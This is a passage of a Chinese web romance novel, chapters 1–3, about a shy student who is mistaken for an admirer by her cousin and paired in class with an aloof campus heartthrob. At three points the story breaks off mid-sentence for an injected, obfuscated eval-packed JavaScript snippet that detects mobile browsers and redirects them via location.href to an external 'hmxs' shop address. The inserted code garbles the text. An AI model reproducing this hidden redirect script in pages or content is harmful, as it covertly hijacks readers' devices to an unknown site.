《高冷校草是深夜男主播?》 1. 第一次告白(修) 她快要迟到了。 “呼,呼……” 薛年年大口大口地吞着空气,喉咙像要烧起来了一样,在迷宫般的教学楼道里奔跑。 今天是自选课开课的第一天。 为了能顺利毕业,先前她好不容易抢到了这门早课。 这几乎是她能抓住的,能让她按时毕业的最后机会,这次她一定不能再搞砸! 连续快跑了将近十分钟,薛年年其实早就跑不动了,只不过是凭着意志力在苦苦支撑。 可屋漏偏逢连夜雨,“叮铃铃——”。 上课铃在她还没找到教室时便突兀地响起。 薛年年心中一惊,强行加快脚步,终于在拐过几个转角后,找到了正确的教室。 室内传出指导老师说话时的模糊声响。 课已经开始好一会了。 听说这门课的老师对考勤抓得非常严厉。 天气炎热,薛年年擦了一把流到下颚的汗水,都来不及缓口气,便小心翼翼地准备从后门溜进教室。 刚走到教室后排。 “第六组,肖序,薛年年!” 台上的老师突然大声叫了她的名字。 薛年年腿一软,下意识在最后一排靠走廊的位置坐下,听到台上老师又质问般重复了一遍: “第六组的薛年年是哪位,没在吗,到哪去了?” “在……在这里!” 薛年年红着脸举起自己的手,装作早就已经到了教室,只是没被他发现。 台上老师顺着她的声音,找了好几秒,才在角落里发现了一个不起眼的人影。 他扶了一下鼻梁上的眼镜,看到她满脸通红,甚至像被他吓到了般,指尖一直在颤抖。 原本严厉的表情不自觉放软了些,老师望向她说: “这位同学下次坐前面一点,不然我这老花眼都看不见你。” “嗯,好……好的老师。” 薛年年小声应了一句,更加害羞地把头垂到胸前。 她回应时的样子乖巧又听话,看起来完全就是个守规矩的好学生。 但坐前排是不可能的。 如非必要,薛年年绝不想增加自己的存在感,最好大家都不要关注到她。 被关注到总没好事。 而且下节课,老师肯定早就把她忘了。 眼见老师现在也没记住她,只随便嘱咐了两句,便低下头去,在点名册上记录下她的名字。 这件事被轻轻揭过。 悬着的心也逐渐落下,薛年年死里逃生般呼出一口长气,缓缓放下自己的手。 好险……幸好赶上了。 薛年年的耳膜有些充血鼓胀,脑子也因为之前跑得太久像浆糊一样混沌。 她整个人迷迷糊糊的,还完全搞不清楚如今的状况,然而教室里的其他人却早已因为老师之前的分组,暗暗小声讨论了起来—— “和肖序一组的……薛年年?谁啊?她不是我们院的人吧。” “其他学院想参加比赛的也会抢这门课,有什么好大惊小怪的。” “可和她一组的人是肖序啊!谁不想抱学神的大腿,更何况光看他那张脸也赚到了吧!” “啧啧啧,肖序那张脸究竟怎么长的?今早他刚进教室门的时候直接帅我一大跳。” “也就比你爹我帅一点点吧。” “呸!你也不去照照镜子,鹅和天鹅那是一个物种吗?” “肖序……帅得有点不像人类了。” “这是什么鬼形容?小声点,人家嫡数院的亲传弟子,天上天下唯一的高岭之花,是你这个臭外门的杂役弟子能够蛐蛐的吗?” “……他难道不是金融系的?” “双学位,懂了吧?愚蠢的地球人!” “我也好想和大神一组啊,说不定还能蹭个奖回来,你说等会我去找老师换,他能同意吗?” “别了吧……哎,你不懂,反正和肖序组队好像不是什么好事。” “他怎么了?” “没听柳哥说过吗?别去惹他,他很可怕的,我跟你讲啊——” …… 窸窸窣窣的讨论声在教室里此起彼伏。 这声音太助眠了。 薛年年昨天睡得太晚,早上又起太早,已经快要在这背景音里睡着了。 台上老师没有因为下面有人说话而停下,而是继续分组,点名道: “第十八组,柳思睿,李娅宁!” 薛年年忽然听到了一个有些耳熟的名字。 她想强行振作一下精神,思绪却又因为睡意很快变得模糊,眼皮也越来越重。 薛年年想了想,趁老师还没开始讲课,干脆趴到桌上,将头埋在手臂里,想先休息一会。 大学老师一般是不会太在意课堂纪律的。 然而她刚低下头去,坐在教室前面。 一个一直用余光关注着她动向的人就发出了一声“啧……”的嫌恶声。 在他旁边,短头发的女生听见这格外嫌弃的声音,问他:“你啧什么?” “没什么。”柳思睿皱紧了眉。 他不否认还好,一否认,李娅宁反而更感兴趣。 她疑惑地侧过头,耳边和上衣同色的墨绿耳环在空气中漾起一道细微的弧线: “今天你很怪哎,眼神一直往教室后面瞥,你不是一直宣称这学期要把肖序踩到第二名去吗?他现在又没坐后面,你究竟在看谁?” “没看谁,你别管了!”柳思睿红着脸反驳道。 李娅宁震惊地看着他红到滴血的耳根,更加疑惑了:“不对不对,难道——等等!” 说着说着,她忽然联想到了一个可能。 李娅宁顺着柳思睿之前的视线往后找,找了许久,才在角落里发现了一个蜷缩的,不起眼的人影。 她愣了一下,忽然恍然大悟般激动道: “难道那就是……怪不得,难道她就是之前给你送壮阳药表白的那个女生?” “能想出用壮阳药当定情信物——天才啊!你这辈子有了,柳思睿!”李娅宁豪放地猛拍他肩膀。 柳思睿压抑着怒气,小声吼道:“我和你说过好多遍,她送的那是保健品!不是壮阳药!!” “重点是你收下了。”李娅宁要笑死了。 “那是她强行塞给我的,我不想要!” 柳思睿回想起薛年年那天那副死犟的样子,就差点又被她气死。 他赶紧多解释了一句:“而且她塞完飞快地就跑了,我连还都没法还她!” 李娅宁憋笑道:“人家害羞嘛。当时整栋楼的人都在围观这场史诗级抽象的传奇告白,人家小女生能有勇气把东西递给你已经很不容易了——” “不容易?她能有我不容易吗??”柳思睿面色涨红地打断她。 “她低着头没人看清她的正脸,我却被人指指点点到现在!刚才上课前,都还有人在背地里说我是‘被送壮阳药的那个肾虚男’!” “这有什么?”李娅宁知道他出生于军人家庭,家教很严,自尊心又极强。 今天可算逮到机会嘲笑他了! “现在你可是校园论坛里的红人,名气直逼肖序。” “你不是一直想赢肖序一次吗?看这架势,过两天你的知名度就能超越他了,这可得好好感谢咱们的薛同学。” “拉倒吧,我才不想因为这种事出名。”柳思睿捏紧拳头。 李娅宁见状本想继续挖苦他,却又忽然想起一件事: “话说回来,当时你不仅收了人家的礼,还呆站在原地那么久,最后究竟是答应她了还是拒绝了?” 柳思睿猛然一愣,被她一提醒,这才回忆起自己那天竟然忘了直接拒绝薛年年。 都怪她太犟,一定要让他收礼,把他的脑子都给搞炸了,差点忘了正事。 李娅宁肚子都要笑疼了,继续火上浇油道: “看你现在这副脸红的样子,傲娇已经不吃香了!在意就在意嘛,有什么不敢承认的?” “我才没有在意她,你别造谣!” 柳思睿气急败坏道,“她那种,那种恶心又变态的女人……我不可能喜欢她的!” “不就是送了个壮阳药嘛,多有创意啊。” 李娅宁撺掇道,“你就从了她吧,人家为了来见你,都追到课上来了!” 追到……课上? 的确,薛年年现在上课睡着觉,看起来散漫又懈怠,根本就不像是来好好学习的。 这门课虽然学分很高,也有机会能去参赛拿奖。 但因为本身工作量极大,难度又高,对于能力不强的人来说,选这门课其实有些得不偿失。 她怎么一点都不考虑她自己啊?跟着他选课,到时候期末挂科很好玩吗? 柳思睿的黑脸因为李娅宁的话,刷地一下变得黑中透红,红中透青。 他沉声道:“等会下课我就去拒绝她,把她劝退。” “笑死,拒绝她后可能这辈子都不会再有人给你告白了,之前你妈就可担心你这副凶样把女孩子都给吓跑了!” “闭嘴吧,我哪有把人吓跑过?你!别在课上和我说话了,天天吊儿郎当像什么样!” …… 两人小声说话间,讲台上的指导老师已经点完了名,并按首字母将各个小组分好。 下课铃声也在这时响起。 指导老师多说了一句:“等会课间你们记得换位置,去找自己的小组成员。” “下节课我要看到你们两两坐在一起,明白了吗?” “明白了。”台下齐声敷衍过后,之前压抑的小声交流便化为了大声的笑闹。 柳思睿在声音落下的一瞬间便站起身,直直往教室后方走去。 李娅宁惊讶地看了他一眼:“你真去啊?” “当然,我三分钟就能把她劝退。”柳思睿头也不回地保证道。 他长腿一迈,几步就走到了薛年年跟前。 薛年年还在睡觉,柳思睿低头看着她睡得昏沉的样子,眉心逐渐皱成一个“川”字。 他等了几秒,最后干脆伸手敲响了桌面,先把她叫醒:“起床了,教室不是给你睡觉的地方。” 薛年年被他的动作惊醒,有些迷茫地抬起头,过了好一会儿才又迟钝地揉了揉眼睛。 是谁把她叫醒了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760957|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦,是柳思睿啊……薛年年认出了他。 面前这个身形高大,皮肤微黑,穿什么都像穿制服军装,站姿永远笔挺的人,是她在A市唯二的亲人——她的远房表哥。 虽然说是“表哥”,但薛年年其实到现在都没搞清楚他们之间的辈分。 她这种祖上八代都在普通乡镇里生活的普通人,竟然在A市这种国际大都市里有个超有背景的远房亲戚。 这种事说出去别人可能都不相信。 她也是今年暑假回家时,才意外从姥姥口中得知的。 薛年年被叫醒后,一直迷迷糊糊地望着柳思睿的脸出神。 柳思睿被她看得脸越来越红,却又更嫌弃了说: “你一直盯着我看干什么?不会真是因为我才选了这门课吧??” 薛年年听得越发迷茫,有些听不太懂他刚才的话。 ……问她是不是因为他,才选了这门课? 之前姥姥给她布置了任务,让她去见表哥时一定要有礼貌。 薛年年牢牢记住了她的话,左思右想,思考了许久,最后鼓足了十二分的勇气,才决定冒着被围观的风险,带上家乡特产去拜访他。 她本来已经做足了心理准备。 可到了现场,因为围观的人太多,薛年年社恐病一犯,还是只能支支吾吾地红着脸,把东西递给柳思睿,任何多余的话都说不出来。 表哥虽然被她叫到了角落里,但无论她做什么,他都不愿意收下特产。 如果他不收下,岂不就显得她很不懂礼貌吗? 姥姥布置给她的任务完不成,薛年年都快要急哭了。 她的社交技巧很烂,不会说场面话,在上大学前几乎就只知道关在家里死读书。 那天最后,她只能“想办法”把东西塞给柳思睿之后就跑了。 逃跑过程中,她好像还很不小心地撞到了别人。 事情的进程很曲折,但幸好她最终还是把礼物送了出去,没有不礼貌。 现在送出去的特产起了作用!表哥主动来找她,表示亲近。 既然对方都来表达友好了,她也应该更有礼貌吧? 薛年年思索着,抬起头,尽量用贫瘠的语言对柳思睿展示自己的善意说: “你选的课……应该都很好吧,嗯,你也很好。” 面前的柳思睿:“???” 他惊得差点后退一步。 老天,这个告白都要送壮阳药的变态女竟然真的是冲着他来的! 她有点太狂热了吧?竟然偷偷调查了他的课表,追他都追到课上来了!! 柳思睿看着她额前那厚重到几乎看不清她眼睛的刘海,感觉薛年年就像午夜凶铃里的贞子一样,阴森恐怖,难缠得甩都甩不掉。 他因为长得凶,从小几乎就没几个女生敢靠近他,哪见过这种死缠烂打的架势。 柳思睿面色涨红,口不择言道:“你这——你说这种话难道都不会害羞吗?!” 薛年年一脸茫然,不知道他为什么忽然这么激动。 她刚刚一直在思考,按照他们的关系,她现在究竟该不该直接叫柳思睿一句“哥”? 薛年年纠结了许久辈分的问题,最后干脆放弃了,直奔主题说:“先别管那些了……这周末我就能去你家了吗?” 姥姥告诉过她,她已经提前帮她联系好了,说柳思睿的妈妈很欢迎她去家里做客。 然而听到这句话,柳思睿:“?????” 这变态竟然还想跟去他家? 柳思睿没有意识到他之前夸下海口的“三分钟劝退她”,时间早就已经过了。 这个变态太恐怖了,不仅告白要送壮阳药,还想直接登堂入室到他家里去? 现在的女孩子都这么直接吗? “好歹我们应该先相处一下再说吧,你,你——”柳思睿说不出话了。 他其实到现在都没看清过薛年年的正脸。 她额前的刘海太长,遮住了她的大半张脸,只露出白到有些不正常的小小下颚。 真的像幽魂女鬼一样…… 但不论如何,他都应该先完整了解对方后,再正式地拒绝她,不能忽视她的真心。 “能先让我看看你的样子吗?”柳思睿郑重地问道。 他高大强壮的身躯投下阴影,阴影完全笼罩住薛年年。 虽然他的站姿依旧板正,但说这句话时,从外部看,他格外凶悍的外表和动作就像在打劫一样。 “看我的……脸?”听到他说的话,薛年年心中蓦然产生了恐惧。 她立刻往后缩,断然拒绝道:“不要!” “为什么?” 柳思睿缓缓弯下腰,更加靠近她,但就在这时,突然,从他身后传来声音—— “让开。” 这声音如冰棱敲在大理石面上,毫无情绪波动,却让柳思睿的背瞬间僵直。 他甚至还没反应过来是谁在说话,身体就像是遇到了天敌般下意识移开。 薛年年猛然一愣,看到柳思睿身后逐渐出现另一个人。 那个人站在台阶上,面色冷淡地望向她说: “薛年年?” 2. 第一次拉手(修) “薛年年?” 声音落下,场面霎时陷入了寂静。 薛年年呆呆地望着眼前的人,瞳孔不自觉地微微放大。 面前的人穿着一件简单的黑色短袖,凌厉的锁骨线条从他的领口延展开,显得他整个人挺拔又锋利。 淡淡的灯光从天花板投射下来,在他的发梢、眼尾、肩膀上,都镀了一层浅色的光晕。 头脑下意识的反应比思考还快。 薛年年瞬间意识到,眼前这个气质清冷,目光凛冽,瞳孔中莫名带着点灰色调的人,就是传说中,A大无可争议的校草—— “……肖序?” 柳思睿的声音印证了薛年年的猜测。 反应过来面前的人是谁,薛年年立刻低下头,让长长的黑发垂下,快速挡住自己的脸。 肖序出现的地方永远是人群关注的中心。 他出声的一刹那,薛年年就察觉到整个教室的视线都在几秒内汇聚到了他的周围—— “肖神怎么到后面去了,他旁边那个是——柳哥?” “哎哟,身材真好,为什么连背影都这么帅啊!” “这背肌,这细腰,这大长腿……啧啧啧。” “大胆!” “哪呢,哪呢,让我看看!” “后面是不是还有个人在?谁啊?” “看不清,他们俩也太高了吧,站一起像塔一样。” …… 教室里声音嘈杂。 薛年年全身的血液就像被煮沸了般,把脸蒸得通红,肩膀也因为社恐下意识颤抖起来。 手心都快要被她自己掐破了,然而身前的两个人却丝毫没有要离开的迹象。 ……他门两个究竟是来干什么的? 一旁的柳思睿在遇到肖序后,就像是炸毛的猫一样,连声音都带刺:“你这——” “换座。” 肖序似乎在追求极致的效率,刚两个字,就打断了柳思睿的话。 他说话时语调毫无起伏,就像是齿轮的嵌合声,虽然好听,但是明显带着一种金属质感的冰冷。 不过……换座? 薛年年:“!!!” 这个突发事件给她带来的惊吓程度,不亚于当初她去给柳思睿送礼时,被楼上楼下好多人指指点点! 她必须要和肖序坐一起吗?该怎么办,这是老师的要求吧! 薛年年抗拒得想缩到墙角去,身体的反应却比她的脑子还要快。 肖序声音刚落下,她就像被座位烫到了般,极速往里缩了两个位置。 靠走廊的座位被空了出来。 肖序没有立刻坐下。 他略微低头,视线扫过面前还带着体温的座位。 薛年年越来越紧张……不知道为什么,她莫名觉得,肖序看得这么仔细,可能是在嫌弃她刚刚碰过这个座位。 校草大人竟然还有洁癖吗? 她以前从来没接触过这种少言寡语的高岭之花,社恐得手心直冒汗。 要是肖序再不动,薛年年觉得她都快把自己的手心掐出血了。 就在她的紧张即将升到顶点时,预备铃忽然响起。 铃声一激,被打断后还有点懵的柳思睿这才反应过来,他刚刚竟然又没来得及“劝退”薛年年。 ……都两次了,怎么还没和她说清楚? 难道他真的喜欢——不可能不可能!下一次,三分钟,肯定能劝退她! 一个莫名其妙的变态,肖序又一直是个目中无人的神经病! 她和肖序一组,说不定很快就主动退课了。 他还得再找个时间,把薛年年送他的东西还给她。 柳思睿一边思索,一边对薛年年说:“我下次再来找你。” 薛年年赶忙小声嘱咐他:“最好私下来。” 柳思睿:“……什么?” 薛年年解释道:“私下怎么样都可以。”她不想在大庭广众下和他上演“兄友妹恭”。 柳思睿原本还没怎么多想,但一听她说“私下里可以为所欲为”,耳根莫名变得爆红。 他吞吞吐吐地应了两声:“嗯嗯,啊?哦……”接着便迅速转身,差点同手同脚地逃离了后排。 薛年年一直低着头,听到了他快速远离的脚步声。 ……终于走了! 这个看起来规矩又板正的表哥其实也会吸引来很多人的目光,只不过比起肖序还是逊色不少。 上课后,围在肖序周围的视线也逐渐散开。 薛年年刚想松一口气,心脏却又在下一秒瞬间揪紧。 肖序沉默地在她身边坐下,带起一阵细微又锐利的气流。 ……这个人的气势有些过于强烈了吧? 薛年年觉得她也变成了一只炸了毛的猫,如座针毡,如芒在背,如鲠在喉。 好在这时,老师已经走上了讲台,分散了一点她的注意力。 他走到黑板前,拿起粉笔,一边写一边说起这门课的考核标准—— “我的这门课,你们中的有些人别想着能偷懒,这次的过程分评定,采用小组内互-评模式。 “如果你的小组成员觉得你很差,给你打低分,你最后的平时成绩就是不及格!听懂了吗?” “那要是我和队友相处得不好,他故意给我打低分怎么办,这岂不是很不公平吗?”有人提出了质疑。 “总有刁民想害朕的绩点……” “这个规则——老师被膨胀神券炸到脑子了吧!” 老师敲了敲黑板,主持纪律道:“别在这给我哀声连天的,你连组里这一个人都搞不定,以后出了校门,还怎么搞定你的领导和下属?” “评分规则就是这样,都记好了吗?现在开始上课!” “怎么这样啊……” “气死,小组作业滚出大学!” 哀叫声依旧此起彼伏。 老师却管都没管,直接开始讲第一章的内容。 翻书声很快替代了抱怨声。 但直到此刻,薛年年才反应过来—— 她没有书! 她甚至都不知道这门课是干嘛的,只不过是因为想转专业,才选择了它。 周围翻书声哗啦啦地响,老师在讲台上讲得激情四射。 可很不幸的,薛年年一句都听不懂。 什么建模,F1-score,AUC-ROC曲线……这是第一天该讲的内容吗? 薛年年茫然地开始环视教室里的人,想找到自己的同类。 然而其他同学大多都在认真听讲,还不时点头—— 他们难道都能听懂老师在说什么吗? 她是谁?她在哪?为什么大家都知道要用哪本书,老师有提前说过吗? 薛年年懵了。 没有书,她几乎一个字都听不懂,要是这节课她都听不明白,下节课就更难了。 跟不上这门课就转不了专业,转不了专业就只能留在原专业继续挂科,挂科挂多了—— 她就毕不了业了。 薛年年心下猛然一沉。 不行,她一定要毕业! 拿不到毕业证,就代表她过去十几年的寒窗苦读毫无意义。 薛年年知道她自己的智力不突出,体力也很差,如果没有“一定要”的信念,她几乎做不成任何事。 就像之前,如果不是她“一定要”,她连礼物都送不出去…… 留在原专业对于她来说无异于等死。 为了毕业,就算这门课再难,她也一定要克服啊! 薛年年捏紧自己的手心。 她小心翼翼地侧过头,看到离自己不远的地方,肖序面前,放着一本敞开的纸质书。 他依旧冷着脸,骨节分明的手指搭在书页上,略微弯腰时,就像一棵风中的弯竹。 真不愧是大都市的人啊……一举一动都这么贵气好看。 要是他不那么高冷严肃就好了,这样她也不至于在肖序面前连话都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760958|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢说。 薛年年在心中叹气。 就在她畏缩犹豫间,台上老师讲得越来越快,知识点就如同飞出去了一般,从一个点延伸出七八九十个。 再不仔细听她就真的完全听不懂了! 薛年年下定决心,强行鼓足勇气,伸出手,试探般轻轻戳了一下肖序放在桌上的手腕。 肖序没有理她。 薛年年咬紧下唇,后背像是在被火焰炙烤般,冷汗直流。 她抱着一定要借到书的信念,大脑却几乎没有思考,手直接拉住肖序的小指往后拽了拽,一下,两下,三……接触到的皮肤冰凉又刺痛。 如此明显的异动,肖序终于侧过头。 薛年年立刻避开他的视线,放低自己的声音,红着脸,用尽自己最大的勇气说: “抱,抱歉,我不是故意打扰你的,能……借一下你的书吗?这节课我没带,下次,下次我一定准备好。” 说完后,她浑身紧绷地等着面前的人回复。 肖序无言地看着她。 过了两秒,他放在书页上的食指轻敲了一下。 “嗒。” 薛年年像被声音吓到了般,瞬间把自己的手收回。 他那双灰色的眼眸,在灯光下,就如同冰般冷凝。 周围的气压越来越低。 不知道为什么,薛年年莫名感觉到了一股难以言喻的压迫感。 好可怕……刚刚她做错什么了吗?她是不是不该找肖序借书? 可不看书她根本听不懂啊! 正当薛年年心中无比忐忑时,肖序动了。 他将书推到她面前—— 一整本。 薛年年愣了愣,反应过来,立刻摆手道:“不……不用全部都给我,我们可以一起看。” 然而她的话音落下,肖序却没有再理她。 他安静地看向黑板,浓密的睫毛下,那双混血才会有的灰色瞳孔中,倒映着钴蓝色的光线。 真是漂亮的颜色啊…… 不过他这是拒绝的意思? 薛年年知道肖序是出了名的高冷,不愿意和别人一起看书倒也很正常。 讲台上,老师已经快讲到下一节的内容了。 薛年年赶紧说了声“谢谢”,拖过肖序推来的那本书,轻手轻脚地翻过一页。 她尽力保护着书页不产生一丝褶皱,也尽量不发出任何声音,以免再打扰到身旁的人听课。 但肖序好像还是被她打扰到了。 听到她的感谢,他的眉心略微皱了一下。 薛年年的心脏剧烈地跳动起来,恐惧令她赶紧又把头埋回胸前。 心理压力越来越大。 她真的要和肖序组队一学期吗? 薛年年觉得自己前路渺茫…… _ 就在薛年年上课期间。 同一座城市中,有个胡子拉碴的年轻男人正在打一通通往美国的电话: “网站那边已经在催了,最近我的压力真的很大!肖余,鱼崽,余哥——爸爸!别挂电话!你救救我行不行!!这也是为了你未来的事业着想!” 电话另一边听见这堆死皮赖脸的烂话,忽然笑了一声。 胡子男被这声笑搞得毛骨悚然,却只能硬着头皮继续说: “就去和富婆们私下聊两句而已,又不会掉块肉,咱们都已经在干擦边这行了,你想当一只特立独行的电子鸭吗?” “…#&你……去。”听筒里的回复声很模糊。 胡子男却听懂了:“我去?那富婆也要看得上我才行啊!我的颜值在你旁边就只能起到一个搞笑的作用,要是富婆能看上我,我早就去卖屁股了,还有时间来当你的运营?” “…………” 回复声直接消失了。 “哎,你别挂!!!” 电话还是被挂断。 听到嘟嘟的忙音,胡子男揪乱自己的头发,哀叫道:“这可怎么办啊啊啊啊??” 3. 第一次当富婆(修) 不识好歹的狗崽子! 胡子男气愤地想把被挂断的电话砸到地上,却又瞬间清醒,将破了漆的旧手机放衣服上擦了擦。 他灰溜溜地将手机丢回到口袋里,听到不远处有人朝他喊: “卢剑!在干什么呢?快过来发传单,不然一会不给你结工钱!” “来了!”胡子男深吸一口气。 在接近四十度的烈日炎炎下。 他视死如归般将一个毛绒熊头套套到了自己的脑袋上,拖着像羽绒服一样又厚又重的庞大熊体走过去,接过一大捧传单,开始朝路人分发起来…… - 同一时间,A大,课堂上。 薛年年正一边翻书,一边非常勉强地记录着老师讲的内容。 她的学习方式一直很死板,除了背就是做题。 但就是靠着这样不知疲倦地死读书,她才能从小镇考进全国最好的大学,完成母亲的愿望。 母亲在去世前总是对她说:“现在累是必要的,你一定要考上好大学,明白吗?高考是人一生中最重要的事,你先把学习任务完成,其他的都可以不管!” 高考,是最重要的事。 薛年年至今为止的人生中,除了高考没有其他的内容。 高考,很重要。 很重要,很重要。 可是妈妈……为什么考上好大学后,人还要继续活下去啊? …… 字迹在薛年年的笔下逐渐堆满了一页又一页纸。 她的手腕其实已经抄写得有点酸了,可她还是没有停下。 在她奋笔疾书间,老师已经讲完了一大章节的内容,开始布置这周的小组作业。 这门课有一个最终的大作业,在这之前,每周还会布置好几个阶段性的小作业。 老师交代完这周要写的小论文。 很快,第二节课也结束了。 他刚说完“下课”,教室里的气氛瞬间就活了过来。 同学们三三两两地聚在一起,交换着联系方式,以便接下来写小组作业时好私下沟通。 周围的声音越来越嘈杂。 薛年年还在手忙脚乱地记录着老师讲的最后一点内容。 等她终于抄完板书,抬起头时,身旁的座位早就已经空了。 薛年年愣了愣,有些茫然地环视了一圈四周,发现到处都没有肖序的身影。 他……已经走了吗? 可他怎么不把借给她的书也拿走啊!是忘记了? 肖序没有留下任何多余的话,整个人就像被程序设定好了一样,下课、离开……冷漠到极致,又拒人于千里之外。 他实在太高冷,气质又过于锋利,简直压迫感十足。 薛年年在上大学前,和普通同学都没怎么交流过,一上来就是大魔王级别的难度,心中不禁感到无限惆怅。 就在她感到有些泄气时,和她同一门课的学生已经在【校园论坛】上火热开帖了—— “问:无奖竞猜,这学期的建模课,校草的第一个队友能撑多久不退课?” “我赌一个月。” “太长了吧,我赌一个星期!” “这次肖序的队友是谁?” “没记住,不重要吧?反正最后都要换。” “都已经大二了,好像没人和他一起完整地做完过一个大作业吧。” “不会吧,这么难相处吗?” “都不只是是难相处……肖序他——哎,不提了。总之如果你只想安静地当个拖油瓶,那他就是个神仙队友。” “楼上别造谣了,当拖油瓶的后果就是你平时成绩只有20分,肖序可不会手下留情。” “什么,才二十?他有病吧,存心不让人毕业吗!” “他根本就没法沟通,还经常找不到他人……据说他每天的行程都精确到秒,就算华佗再世也救不了秒表成精啊。” “你们这些人说话也太难听了,是嫉妒人家长得帅吧,是嫉妒吧,嫉妒吧……” “就是,谁做小组作业不讨厌拖后腿的,互-评打低分怎么了?还是那句话,不做事就别哔哔!” “肖序长得是真帅啊……今天第一次见,比最近热播剧里的那个男明星帅多了。” “大佬多讲讲,我这种菜鸡都没敢选建模课,还不知道校草长啥样呢?” “怎么又开始讨论肖序的脸了,这不是个竞猜帖吗?” “笑死,楼上还没习惯吗?每次和肖序有关的帖子,最后都会变成颜值分享帖,这怎么不算一种生命大和谐呢?” “别歪楼,来继续猜!我赌他队友明天第二堂课就退!” …… 薛年年从来没看过校园论坛。 肖序独自离开后,她将他遗落下来的书随手翻了翻,发现书的最后部分夹着一枚精美的书签—— 他都已经看到这么后面了吗? 薛年年有些惊讶。 她还连这门课在讲什么,作业要怎么做都一概不知。 组员又是个半哑巴……她连和肖序说话都很有压力,之后该怎么办啊? 薛年年没忍住叹了口气。 今早她只有两节课,收拾完东西后,薛年年就拿上书,准备先不想那么多,先去超市买个工具箱。 昨天半夜,宿舍的空调突然罢工。 她和室友被热得睁眼到天亮,害得今早差点没赶上点名。 这两天,校园里的设备集体老化,维修师傅的时间还都被约满了。 气温太高,没有空调绝对不行。 薛年年就想着,既然今天宿舍里其他人都满课,她就自己先尝试着用工具修一修。 她从校内一间间地找到校外,却连一个卖维修工具的店铺都没找到。 薛年年持续往外找。 日头毒辣,越靠近中午,天气就越发炎热。 太阳将她苍白的皮肤咬得又红又痛,发丝也黏在脖颈上,很不舒服。 脑袋被晒得昏昏沉沉的,像要出现幻觉,但薛年年的脑子里好像从来就没有过“放弃”的概念,只会一根筋地做事。 如果不继续下去,今天的任务就要完不成了。 那样可不行,妈妈会打她的! 藤条打人真的很疼……不许哭,继续,不能停。 薛年年晃了晃晕乎乎的脑袋,沿着道路坚持往外找,找了很久,终于在校外找到了一家综合型的大超市。 她很快从里面买了工具出来,发现超市门口有一只穿着厚重熊外套的吉祥物,正在向路人分发传单。 熊也发现了她,拖着胖乎乎的身体堵到她的前路上,想把传单递给她。 薛年年被堵得有些不知所措。 她社恐地往后退了一步,又举起手上的帆布袋和工具箱晃了晃,示意自己没有手拿。 熊见状沉默了一瞬。 下一秒,它忽然“扑通”一声跪在了她面前,拿着传单的手还直直地往前伸着! 薛年年:“?” 薛年年惊了! 现在超市的工作人员的都这么敬业了吗?只是发传单而已,倒也不必行如此大礼! 她立刻将手上的东西往旁一扔,想把熊扶起来。 然而熊跪坐下去后就怎么也起不来了。 薛年年这才意识到出了问题,开始死命拽熊的脑袋,一边拽还一边喊道: “喂,振作一点,你还好吗!有人吗?来人帮一下忙,门口的吉祥物晕倒了!” “怎么了,熊中暑了?”周边围过来保安。 “快,先把他的毛绒服脱下来!” …… 卢剑再次醒来的时候,发现自己正躺在医院里。 他下意识伸手摸向床头柜上的手机,手自动点开炒股软件。意识都还没完全恢复,一片绿油油的数字就跳了出来,把他的脸照得铁青。 卢剑呆滞地望着屏幕,心脏差点又停跳一次。 四十一斤的车厘子他舍不得买,打开股票一看,亏了两吨半! 终究是错付了…… 他立刻开始计算起看病需要花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760959|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多少钱,又想起今天发传单的钱肯定拿不到了,不禁感到更加肉痛。 卢剑深深叹了口气,半撑起身体,想先观察一下周围的情况。 病房里人并不多,只有个长头发的女生正守在离他不远的地方,似乎正在看书。 见他似乎醒了,那个女生拿上书和帆布袋走到他面前问: “你……还有没有哪里不舒服?”薛年年迟疑地问道。 她本来看他的面相,想叫他叔,但保安竟然说这人只有二十一岁,比她大不了两岁,薛年年就只能先用“你”代称了。 卢剑听到她的话,有些不好意思地挠挠头道: “我好多了,是你帮我垫的医药费吧,太感谢你了!花了多少?我转给你。“ 虽然卢剑怕到医院花钱,但没办法,当时他不去医院,可能人就没了。 薛年年点点头,将收据递给他: “医生……医生说你是中度中暑,给你开了葡萄糖,加上床位费一共是250元。” 嘿,二百五,这数字还真够吉利的。 卢剑默默打开自己的vx,想给她转钱,却看到余额界面突然蹦出几个硕大的数字——3块2! 他猛然一愣,面色变得极为尴尬,顶着胡子拉碴的脸赔笑道: “对不起,我最近手头不太宽裕,都是靠日结的兼职过日子,但今天的工作……” 不仅拿不到工资,之后怕出事,超市还很可能不会再让他回去发传单了。 薛年年明白了他的意思。 卢剑本来是没钱的,但他零零碎碎打了十几份工,从早到晚,总能再挤出一些。 他本想说,加个联系方式,等他晚上的工资发了就还她。 